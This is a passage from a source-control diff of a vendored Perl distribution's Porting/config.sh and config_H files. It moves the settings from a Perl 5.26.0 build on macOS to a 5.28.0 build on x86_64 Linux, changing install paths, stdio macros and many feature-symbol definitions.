-sitearchexp='/tmp/mblead/lib/perl5/site_perl/5.26.0/darwin-2level'
-sitebin='/tmp/mblead/bin'
-sitebinexp='/tmp/mblead/bin'
+sitearch='/opt/perl/lib/site_perl/5.28.0/x86_64-linux'
+sitearchexp='/opt/perl/lib/site_perl/5.28.0/x86_64-linux'
+sitebin='/opt/perl/bin'
+sitebinexp='/opt/perl/bin'
 sitehtml1dir=''
 sitehtml1direxp=''
 sitehtml3dir=''
 sitehtml3direxp=''
-sitelib='/tmp/mblead/lib/perl5/site_perl/5.26.0'
-sitelib_stem='/tmp/mblead/lib/perl5/site_perl'
-sitelibexp='/tmp/mblead/lib/perl5/site_perl/5.26.0'
-siteman1dir='/tmp/mblead/man/man1'
-siteman1direxp='/tmp/mblead/man/man1'
-siteman3dir='/tmp/mblead/man/man3'
-siteman3direxp='/tmp/mblead/man/man3'
-siteprefix='/tmp/mblead'
-siteprefixexp='/tmp/mblead'
-sitescript='/tmp/mblead/bin'
-sitescriptexp='/tmp/mblead/bin'
+sitelib='/opt/perl/lib/site_perl/5.28.0'
+sitelib_stem='/opt/perl/lib/site_perl'
+sitelibexp='/opt/perl/lib/site_perl/5.28.0'
+siteman1dir='/opt/perl/man/man1'
+siteman1direxp='/opt/perl/man/man1'
+siteman3dir='/opt/perl/man/man3'
+siteman3direxp='/opt/perl/man/man3'
+siteprefix='/opt/perl'
+siteprefixexp='/opt/perl'
+sitescript='/opt/perl/bin'
+sitescriptexp='/opt/perl/bin'
 sizesize='8'
 sizetype='size_t'
 sleep=''
 smail=''
-so='dylib'
+so='so'
 sockethdr=''
 socketlib=''
 socksizetype='socklen_t'
@@ -1097,18 +1092,17 @@
 ssizetype='ssize_t'
 st_ino_sign='1'
 st_ino_size='8'
-startperl='#!/tmp/mblead/bin/perl5.26.0'
+startperl='#!/opt/perl/bin/perl5.28.0'
 startsh='#!/bin/sh'
 static_ext=' '
 stdchar='char'
-stdio_base='((fp)->_ub._base ? (fp)->_ub._base : (fp)->_bf._base)'
-stdio_bufsiz='((fp)->_ub._base ? (fp)->_ub._size : (fp)->_bf._size)'
-stdio_cnt='((fp)->_r)'
+stdio_base='((fp)->_IO_read_base)'
+stdio_bufsiz='((fp)->_IO_read_end - (fp)->_IO_read_base)'
+stdio_cnt='((fp)->_IO_read_end - (fp)->_IO_read_ptr)'
 stdio_filbuf=''
-stdio_ptr='((fp)->_p)'
+stdio_ptr='((fp)->_IO_read_ptr)'
 stdio_stream_array=''
 strerror_r_proto='0'
-strings='/usr/include/string.h'
 submit=''
 subversion='0'
 sysman='/usr/share/man/man1'
@@ -1125,7 +1119,7 @@
 tbl=''
 tee=''
 test='test'
-timeincl='/usr/include/sys/time.h '
+timeincl='/usr/include/x86_64-linux-gnu/sys/time.h '
 timetype='time_t'
 tmpnam_r_proto='0'
 to=':'
@@ -1167,7 +1161,7 @@
 usemultiplicity='undef'
 usemymalloc='n'
 usenm='false'
-usensgetexecutablepath='define'
+usensgetexecutablepath='undef'
 useopcode='true'
 useperlio='define'
 useposix='true'
@@ -1180,7 +1174,7 @@
 usethreads='undef'
 usevendorprefix='undef'
 useversionedarchname='undef'
-usevfork='true'
+usevfork='false'
 usrinc='/usr/include'
 uuname=''
 uvXUformat='"lX"'
@@ -1189,7 +1183,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='define'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''
@@ -1209,8 +1202,8 @@
 vendorprefixexp=''
 vendorscript=''
 vendorscriptexp=''
-version='5.26.0'
-version_patchlevel_string='version 26 subversion 0'
+version='5.28.0'
+version_patchlevel_string='version 28 subversion 0'
 versiononly='define'
 vi=''
 xlibpth='/usr/lib/386 /lib/386'
@@ -1219,10 +1212,12 @@
 zcat=''
 zip='zip'
 PERL_REVISION=5
-PERL_VERSION=26
+PERL_VERSION=28
 PERL_SUBVERSION=0
 PERL_API_REVISION=5
-PERL_API_VERSION=26
+PERL_API_VERSION=28
 PERL_API_SUBVERSION=0
 PERL_PATCHLEVEL=''
 PERL_CONFIG_SH=true
+: Variables propagated from previous config.sh file.
+libdb_needs_pthread='N'

Modified: vendor/perl/dist/Porting/config_H
===================================================================
--- vendor/perl/dist/Porting/config_H	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/config_H	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,9 +13,9 @@
 
 /* Package name      : perl5
  * Source directory  : .
- * Configuration time: Fri Jan  7 14:19:01 CET 2011
- * Configured by     : merijn
- * Target system     : linux tux09.procura.nl 2.6.34.7-0.7-desktop #1 smp preempt 2010-12-13 11:13:53 +0100 i686 i686 i386 gnulinux 
+ * Configuration time: Fri Dec 22 16:17:32 GMT 2017
+ * Configured by     : yourname
+ * Target system     : linux barba.rous.org 3.16.0-4-amd64 #1 smp debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 gnulinux 
  */
 
 #ifndef _config_h_
@@ -24,7 +24,7 @@
 /* LOC_SED:
  *	This symbol holds the complete pathname to the sed program.
  */
-#define LOC_SED 	"/usr/bin/sed"	/**/
+#define LOC_SED 	"/bin/sed"	/**/
 
 /* HAS_ALARM:
  *	This symbol, if defined, indicates that the alarm routine is
@@ -32,24 +32,12 @@
  */
 #define HAS_ALARM		/**/
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
+/* HAS_CBRT:
+ *	This symbol, if defined, indicates that the cbrt() (cube root)
+ *	function is available.
  */
-#define HAS_BCMP	/**/
+#define HAS_CBRT	/**/
 
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-#define HAS_BCOPY	/**/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-#define HAS_BZERO	/**/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -86,14 +74,6 @@
  */
 #define HAS_CUSERID		/**/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/* */
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -180,7 +160,7 @@
 #define HAS_GETLOGIN		/**/
 
 /* HAS_GETPGID:
- *	This symbol, if defined, indicates to the C program that 
+ *	This symbol, if defined, indicates to the C program that
  *	the getpgid(pid) function is available to get the
  *	process group id.
  */
@@ -250,42 +230,16 @@
 
 /* HAS_MBSTOWCS:
  *	This symbol, if defined, indicates that the mbstowcs routine is
- *	available to covert a multibyte string into a wide character string.
+ *	available to convert a multibyte string into a wide character string.
  */
 #define	HAS_MBSTOWCS		/**/
 
 /* HAS_MBTOWC:
  *	This symbol, if defined, indicates that the mbtowc routine is available
- *	to covert a multibyte to a wide character.
+ *	to convert a multibyte to a wide character.
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -307,6 +261,12 @@
  */
 #define HAS_MKTIME		/**/
 
+/* HAS_MSG:
+ *	This symbol, if defined, indicates that the entire msg*(2) library is
+ *	supported (IPC mechanism based on message queues).
+ */
+#define HAS_MSG		/**/
+
 /* HAS_MSYNC:
  *	This symbol, if defined, indicates that the msync system call is
  *	available to synchronize a mapped file.
@@ -388,6 +348,13 @@
  */
 #define HAS_READLINK		/**/
 
+/* HAS_REGCOMP:
+ *	This symbol, if defined, indicates that the regcomp() routine is
+ *	available to do some regular patern matching (usually on POSIX.2
+ *	conforming systems).
+ */
+#define HAS_REGCOMP		/* POSIX.2 */
+
 /* HAS_RENAME:
  *	This symbol, if defined, indicates that the rename routine is available
  *	to rename files.  Otherwise you should do the unlink(), link(), unlink()
@@ -409,6 +376,12 @@
  */
 #define HAS_SELECT	/**/
 
+/* HAS_SEM:
+ *	This symbol, if defined, indicates that the entire sem*(2) library is
+ *	supported.
+ */
+#define HAS_SEM		/**/
+
 /* HAS_SETEGID:
  *	This symbol, if defined, indicates that the setegid routine is available
  *	to change the effective gid of the current program.
@@ -503,17 +476,11 @@
  */
 #define HAS_SETSID	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
+/* HAS_STAT:
+ *	This symbol, if defined, indicates that the stat routine is
+ *	available to get file status.
  */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/ **/
+#define HAS_STAT	/**/
 
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
@@ -618,7 +585,7 @@
 
 /* HAS_WCTOMB:
  *	This symbol, if defined, indicates that the wctomb routine is available
- *	to covert a wide character to a multibyte.
+ *	to convert a wide character to a multibyte.
  */
 #define HAS_WCTOMB		/**/
 
@@ -626,8 +593,8 @@
  *	This symbol holds the type used for the second argument to
  *	getgroups() and setgroups().  Usually, this is the same as
  *	gidtype (gid_t) , but sometimes it isn't.
- *	It can be int, ushort, gid_t, etc... 
- *	It may be necessary to include <sys/types.h> to get any 
+ *	It can be int, ushort, gid_t, etc...
+ *	It may be necessary to include <sys/types.h> to get any
  *	typedef'ed information.  This is only required if you have
  *	getgroups() or setgroups()..
  */
@@ -663,13 +630,6 @@
  */
 /*#define I_FCNTL	/ **/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
 /* I_GDBM:
  *	This symbol, if defined, indicates that <gdbm.h> exists and should
  *	be included.
@@ -676,13 +636,6 @@
  */
 #define I_GDBM	/**/
 
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -689,18 +642,6 @@
  */
 #define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/ **/
-
 /* I_NETINET_IN:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <netinet/in.h>. Otherwise, you may try <sys/in.h>.
@@ -707,30 +648,6 @@
  */
 #define I_NETINET_IN	/**/
 
-/* I_STDBOOL:
- *	This symbol, if defined, indicates that <stdbool.h> exists and should
- *	be included.
- */
-/*#define I_STDBOOL	/ **/
-
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -815,26 +732,6 @@
  */
 #define I_SYS_WAIT	/**/
 
-/* I_TERMIO:
- *	This symbol, if defined, indicates that the program should include
- *	<termio.h> rather than <sgtty.h>.  There are also differences in
- *	the ioctl() calls that depend on the value of this symbol.
- */
-/* I_TERMIOS:
- *	This symbol, if defined, indicates that the program should include
- *	the POSIX termios.h rather than sgtty.h or termio.h.
- *	There are also differences in the ioctl() calls that depend on the
- *	value of this symbol.
- */
-/* I_SGTTY:
- *	This symbol, if defined, indicates that the program should include
- *	<sgtty.h> rather than <termio.h>.  There are also differences in
- *	the ioctl() calls that depend on the value of this symbol.
- */
-/*#define I_TERMIO		/ **/
-#define I_TERMIOS		/**/
-/*#define I_SGTTY		/ **/
-
 /* I_UNISTD:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <unistd.h>.
@@ -847,14 +744,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-#define I_VALUES		/**/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -861,27 +750,11 @@
  */
 /*#define I_VFORK	/ **/
 
-/* CAN_VAPROTO:
- *	This variable is defined on systems supporting prototype declaration
- *	of functions with a variable number of arguments.
+/* STDCHAR:
+ *	This symbol is defined to be the type of char used in stdio.h.
+ *	It has the values "unsigned char" or "char".
  */
-/* _V:
- *	This macro is used to declare function parameters in prototypes for
- *	functions with a variable number of parameters. Use double parentheses.
- *	For example:
- *
- *		int printf _V((char *fmt, ...));
- *
- *	Remember to use the plain simple _() macro when declaring a function
- *	with no variable number of arguments, since it might be possible to
- *	have a non-effect _V() macro and still get prototypes via _().
- */
-#define CAN_VAPROTO	/**/
-#ifdef CAN_VAPROTO
-#define	_V(args) args
-#else
-#define	_V(args) ()
-#endif
+#define STDCHAR char	/**/
 
 /* INTSIZE:
  *	This symbol contains the value of sizeof(int) so that the C
@@ -896,7 +769,7 @@
  *	preprocessor can make decisions based on it.
  */
 #define INTSIZE 4		/**/
-#define LONGSIZE 4		/**/
+#define LONGSIZE 8		/**/
 #define SHORTSIZE 2		/**/
 
 /* MULTIARCH:
@@ -911,97 +784,59 @@
 /* HAS_QUAD:
  *	This symbol, if defined, tells that there's a 64-bit integer type,
  *	Quad_t, and its unsigned counterpart, Uquad_t. QUADKIND will be one
- *	of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, or QUAD_IS_INT64_T.
+ *	of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, QUAD_IS_INT64_T,
+ *	or QUAD_IS___INT64.
  */
 #define HAS_QUAD	/**/
 #ifdef HAS_QUAD
-#   define Quad_t long long	/**/
-#   define Uquad_t unsigned long long	/**/
-#   define QUADKIND 3	/**/
+#   define Quad_t long	/**/
+#   define Uquad_t unsigned long	/**/
+#   define QUADKIND 2	/**/
 #   define QUAD_IS_INT	1
 #   define QUAD_IS_LONG	2
 #   define QUAD_IS_LONG_LONG	3
 #   define QUAD_IS_INT64_T	4
+#   define QUAD_IS___INT64	5
 #endif
 
-/* USE_CROSS_COMPILE:
- *	This symbol, if defined, indicates that Perl is being cross-compiled.
+/* HAS_ACCESSX:
+ *	This symbol, if defined, indicates that the accessx routine is
+ *	available to do extended access checks.
  */
-/* PERL_TARGETARCH:
- *	This symbol, if defined, indicates the target architecture
- *	Perl has been cross-compiled to.  Undefined if not a cross-compile.
- */
-#ifndef USE_CROSS_COMPILE
-/*#define	USE_CROSS_COMPILE	/ **/
-#define	PERL_TARGETARCH	""	/**/
-#endif
+/*#define HAS_ACCESSX		/ **/
 
-/* MEM_ALIGNBYTES:
- *	This symbol contains the number of bytes required to align a
- *	double, or a long double when applicable. Usual values are 2,
- *	4 and 8. The default is eight, for safety.
+/* HAS_EACCESS:
+ *	This symbol, if defined, indicates that the eaccess routine is
+ *	available to do extended access checks.
  */
-#if defined(MULTIARCH)
-#  define MEM_ALIGNBYTES 8
-#else
-#define MEM_ALIGNBYTES 4
-#endif
+#define HAS_EACCESS		/**/
 
-/* ARCHLIB:
- *	This variable, if defined, holds the name of the directory in
- *	which the user wants to put architecture-dependent public
- *	library files for perl5.  It is most often a local directory
- *	such as /usr/local/lib.  Programs using this variable must be
- *	prepared to deal with filename expansion.  If ARCHLIB is the
- *	same as PRIVLIB, it is not defined, since presumably the
- *	program already searches PRIVLIB.
+/* I_SYS_ACCESS:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <sys/access.h>.
  */
-/* ARCHLIB_EXP:
- *	This symbol contains the ~name expanded version of ARCHLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-#define ARCHLIB "/pro/lib/perl5/5.26.0/i686-linux-64int-ld"		/**/
-#define ARCHLIB_EXP "/pro/lib/perl5/5.26.0/i686-linux-64int-ld"		/**/
+/*#define   I_SYS_ACCESS                / **/
 
-/* ARCHNAME:
- *	This symbol holds a string representing the architecture name.
- *	It may be used to construct an architecture-dependant pathname
- *	where library files may be held under a private library, for
- *	instance.
+/* I_SYS_SECURITY:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <sys/security.h>.
  */
-#define ARCHNAME "i686-linux-64int-ld"		/**/
+/*#define   I_SYS_SECURITY	/ **/
 
-/* BIN:
- *	This symbol holds the path of the bin directory where the package will
- *	be installed. Program must be prepared to deal with ~name substitution.
+/* MEM_ALIGNBYTES:
+ *	This symbol contains the number of bytes required to align a
+ *	double, or a long double when applicable. Usual values are 2,
+ *	4 and 8. The default is eight, for safety.  For cross-compiling
+ *  	or multiarch support, Configure will set a minimum of 8.
  */
-/* BIN_EXP:
- *	This symbol is the filename expanded version of the BIN symbol, for
- *	programs that do not want to deal with that at run-time.
- */
-/* PERL_RELOCATABLE_INC:
- *	This symbol, if defined, indicates that we'd like to relocate entries
- *	in @INC at run time based on the location of the perl binary.
- */
-#define BIN "/pro/bin"	/**/
-#define BIN_EXP "/pro/bin"	/**/
-#define PERL_RELOCATABLE_INC "undef" 		/**/
+#define MEM_ALIGNBYTES 8
 
 /* BYTEORDER:
  *	This symbol holds the hexadecimal constant defined in byteorder,
  *	in a UV, i.e. 0x1234 or 0x4321 or 0x12345678, etc...
  *	If the compiler supports cross-compiling or multiple-architecture
- *	binaries (eg. on NeXT systems), use compiler-defined macros to
+ *	binaries, use compiler-defined macros to
  *	determine the byte order.
- *	On NeXT 3.2 (and greater), you can build "Fat" Multiple Architecture
- *	Binaries (MAB) on either big endian or little endian machines.
- *	The endian-ness is available at compile-time.  This only matters
- *	for perl, where the config.h can be generated and installed on
- *	one system, and used by a different architecture to build an
- *	extension.  Older versions of NeXT that might not have
- *	defined either *_ENDIAN__ were all on Motorola 680x0 series,
- *	so the default case (for NeXT) is big endian to catch them.
- *	This might matter for NeXT 3.0.
  */
 #if defined(MULTIARCH)
 #  ifdef __LITTLE_ENDIAN__
@@ -1023,12 +858,9 @@
 #      endif
 #    endif
 #  endif
-#  if !defined(BYTEORDER) && (defined(NeXT) || defined(__NeXT__))
-#    define BYTEORDER 0x4321
-#  endif
 #else
 #define BYTEORDER 0x12345678	/* large digits for MSB */
-#endif /* NeXT */
+#endif
 
 /* CHARBITS:
  *	This symbol contains the size of a char, so that the C preprocessor
@@ -1036,25 +868,6 @@
  */
 #define CHARBITS 8		/**/
 
-/* HAS_ACCESSX:
- *	This symbol, if defined, indicates that the accessx routine is
- *	available to do extended access checks.
- */
-/*#define HAS_ACCESSX		/ **/
-
-/* HAS_ASCTIME_R:
- *	This symbol, if defined, indicates that the asctime_r routine
- *	is available to asctime re-entrantly.
- */
-/* ASCTIME_R_PROTO:
- *	This symbol encodes the prototype of asctime_r.
- *	It is zero if d_asctime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
- *	is defined.
- */
-/*#define HAS_ASCTIME_R	   / **/
-#define ASCTIME_R_PROTO 0	   /**/
-
 /* CASTI32:
  *	This symbol is defined if the C compiler can cast negative
  *	or large floating point numbers to 32-bit ints.
@@ -1082,142 +895,6 @@
  */
 /*#define VOID_CLOSEDIR		/ **/
 
-/* HAS_CRYPT_R:
- *	This symbol, if defined, indicates that the crypt_r routine
- *	is available to crypt re-entrantly.
- */
-/* CRYPT_R_PROTO:
- *	This symbol encodes the prototype of crypt_r.
- *	It is zero if d_crypt_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
- *	is defined.
- */
-/*#define HAS_CRYPT_R	   / **/
-#define CRYPT_R_PROTO 0	   /**/
-
-/* HAS_CTERMID_R:
- *	This symbol, if defined, indicates that the ctermid_r routine
- *	is available to ctermid re-entrantly.
- */
-/* CTERMID_R_PROTO:
- *	This symbol encodes the prototype of ctermid_r.
- *	It is zero if d_ctermid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
- *	is defined.
- */
-/*#define HAS_CTERMID_R	   / **/
-#define CTERMID_R_PROTO 0	   /**/
-
-/* HAS_CTIME_R:
- *	This symbol, if defined, indicates that the ctime_r routine
- *	is available to ctime re-entrantly.
- */
-/* CTIME_R_PROTO:
- *	This symbol encodes the prototype of ctime_r.
- *	It is zero if d_ctime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
- *	is defined.
- */
-/*#define HAS_CTIME_R	   / **/
-#define CTIME_R_PROTO 0	   /**/
-
-/* HAS_DRAND48_R:
- *	This symbol, if defined, indicates that the drand48_r routine
- *	is available to drand48 re-entrantly.
- */
-/* DRAND48_R_PROTO:
- *	This symbol encodes the prototype of drand48_r.
- *	It is zero if d_drand48_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
- *	is defined.
- */
-/*#define HAS_DRAND48_R	   / **/
-#define DRAND48_R_PROTO 0	   /**/
-
-/* HAS_EACCESS:
- *	This symbol, if defined, indicates that the eaccess routine is
- *	available to do extended access checks.
- */
-#define HAS_EACCESS		/**/
-
-/* HAS_ENDGRENT_R:
- *	This symbol, if defined, indicates that the endgrent_r routine
- *	is available to endgrent re-entrantly.
- */
-/* ENDGRENT_R_PROTO:
- *	This symbol encodes the prototype of endgrent_r.
- *	It is zero if d_endgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
- *	is defined.
- */
-/*#define HAS_ENDGRENT_R	   / **/
-#define ENDGRENT_R_PROTO 0	   /**/
-
-/* HAS_ENDHOSTENT_R:
- *	This symbol, if defined, indicates that the endhostent_r routine
- *	is available to endhostent re-entrantly.
- */
-/* ENDHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of endhostent_r.
- *	It is zero if d_endhostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
- *	is defined.
- */
-/*#define HAS_ENDHOSTENT_R	   / **/
-#define ENDHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_ENDNETENT_R:
- *	This symbol, if defined, indicates that the endnetent_r routine
- *	is available to endnetent re-entrantly.
- */
-/* ENDNETENT_R_PROTO:
- *	This symbol encodes the prototype of endnetent_r.
- *	It is zero if d_endnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
- *	is defined.
- */
-/*#define HAS_ENDNETENT_R	   / **/
-#define ENDNETENT_R_PROTO 0	   /**/
-
-/* HAS_ENDPROTOENT_R:
- *	This symbol, if defined, indicates that the endprotoent_r routine
- *	is available to endprotoent re-entrantly.
- */
-/* ENDPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of endprotoent_r.
- *	It is zero if d_endprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
- *	is defined.
- */
-/*#define HAS_ENDPROTOENT_R	   / **/
-#define ENDPROTOENT_R_PROTO 0	   /**/
-
-/* HAS_ENDPWENT_R:
- *	This symbol, if defined, indicates that the endpwent_r routine
- *	is available to endpwent re-entrantly.
- */
-/* ENDPWENT_R_PROTO:
- *	This symbol encodes the prototype of endpwent_r.
- *	It is zero if d_endpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
- *	is defined.
- */
-/*#define HAS_ENDPWENT_R	   / **/
-#define ENDPWENT_R_PROTO 0	   /**/
-
-/* HAS_ENDSERVENT_R:
- *	This symbol, if defined, indicates that the endservent_r routine
- *	is available to endservent re-entrantly.
- */
-/* ENDSERVENT_R_PROTO:
- *	This symbol encodes the prototype of endservent_r.
- *	It is zero if d_endservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
- *	is defined.
- */
-/*#define HAS_ENDSERVENT_R	   / **/
-#define ENDSERVENT_R_PROTO 0	   /**/
-
 /* HAS_FD_SET:
  *	This symbol, when defined, indicates presence of the fd_set typedef
  *	in <sys/types.h>
@@ -1239,138 +916,8 @@
  *		d_Gconvert='sprintf((b),"%.*g",(n),(x))'
  *	The last two assume trailing zeros should not be kept.
  */
-#define Gconvert(x,n,t,b) qgcvt((x),(n),(b))
+#define Gconvert(x,n,t,b) gcvt((x),(n),(b))
 
-/* HAS_GETGRENT_R:
- *	This symbol, if defined, indicates that the getgrent_r routine
- *	is available to getgrent re-entrantly.
- */
-/* GETGRENT_R_PROTO:
- *	This symbol encodes the prototype of getgrent_r.
- *	It is zero if d_getgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
- *	is defined.
- */
-/*#define HAS_GETGRENT_R	   / **/
-#define GETGRENT_R_PROTO 0	   /**/
-
-/* HAS_GETGRGID_R:
- *	This symbol, if defined, indicates that the getgrgid_r routine
- *	is available to getgrgid re-entrantly.
- */
-/* GETGRGID_R_PROTO:
- *	This symbol encodes the prototype of getgrgid_r.
- *	It is zero if d_getgrgid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
- *	is defined.
- */
-/*#define HAS_GETGRGID_R	   / **/
-#define GETGRGID_R_PROTO 0	   /**/
-
-/* HAS_GETGRNAM_R:
- *	This symbol, if defined, indicates that the getgrnam_r routine
- *	is available to getgrnam re-entrantly.
- */
-/* GETGRNAM_R_PROTO:
- *	This symbol encodes the prototype of getgrnam_r.
- *	It is zero if d_getgrnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
- *	is defined.
- */
-/*#define HAS_GETGRNAM_R	   / **/
-#define GETGRNAM_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTBYADDR_R:
- *	This symbol, if defined, indicates that the gethostbyaddr_r routine
- *	is available to gethostbyaddr re-entrantly.
- */
-/* GETHOSTBYADDR_R_PROTO:
- *	This symbol encodes the prototype of gethostbyaddr_r.
- *	It is zero if d_gethostbyaddr_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
- *	is defined.
- */
-/*#define HAS_GETHOSTBYADDR_R	   / **/
-#define GETHOSTBYADDR_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTBYNAME_R:
- *	This symbol, if defined, indicates that the gethostbyname_r routine
- *	is available to gethostbyname re-entrantly.
- */
-/* GETHOSTBYNAME_R_PROTO:
- *	This symbol encodes the prototype of gethostbyname_r.
- *	It is zero if d_gethostbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
- *	is defined.
- */
-/*#define HAS_GETHOSTBYNAME_R	   / **/
-#define GETHOSTBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTENT_R:
- *	This symbol, if defined, indicates that the gethostent_r routine
- *	is available to gethostent re-entrantly.
- */
-/* GETHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of gethostent_r.
- *	It is zero if d_gethostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
- *	is defined.
- */
-/*#define HAS_GETHOSTENT_R	   / **/
-#define GETHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_GETLOGIN_R:
- *	This symbol, if defined, indicates that the getlogin_r routine
- *	is available to getlogin re-entrantly.
- */
-/* GETLOGIN_R_PROTO:
- *	This symbol encodes the prototype of getlogin_r.
- *	It is zero if d_getlogin_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
- *	is defined.
- */
-/*#define HAS_GETLOGIN_R	   / **/
-#define GETLOGIN_R_PROTO 0	   /**/
-
-/* HAS_GETNETBYADDR_R:
- *	This symbol, if defined, indicates that the getnetbyaddr_r routine
- *	is available to getnetbyaddr re-entrantly.
- */
-/* GETNETBYADDR_R_PROTO:
- *	This symbol encodes the prototype of getnetbyaddr_r.
- *	It is zero if d_getnetbyaddr_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
- *	is defined.
- */
-/*#define HAS_GETNETBYADDR_R	   / **/
-#define GETNETBYADDR_R_PROTO 0	   /**/
-
-/* HAS_GETNETBYNAME_R:
- *	This symbol, if defined, indicates that the getnetbyname_r routine
- *	is available to getnetbyname re-entrantly.
- */
-/* GETNETBYNAME_R_PROTO:
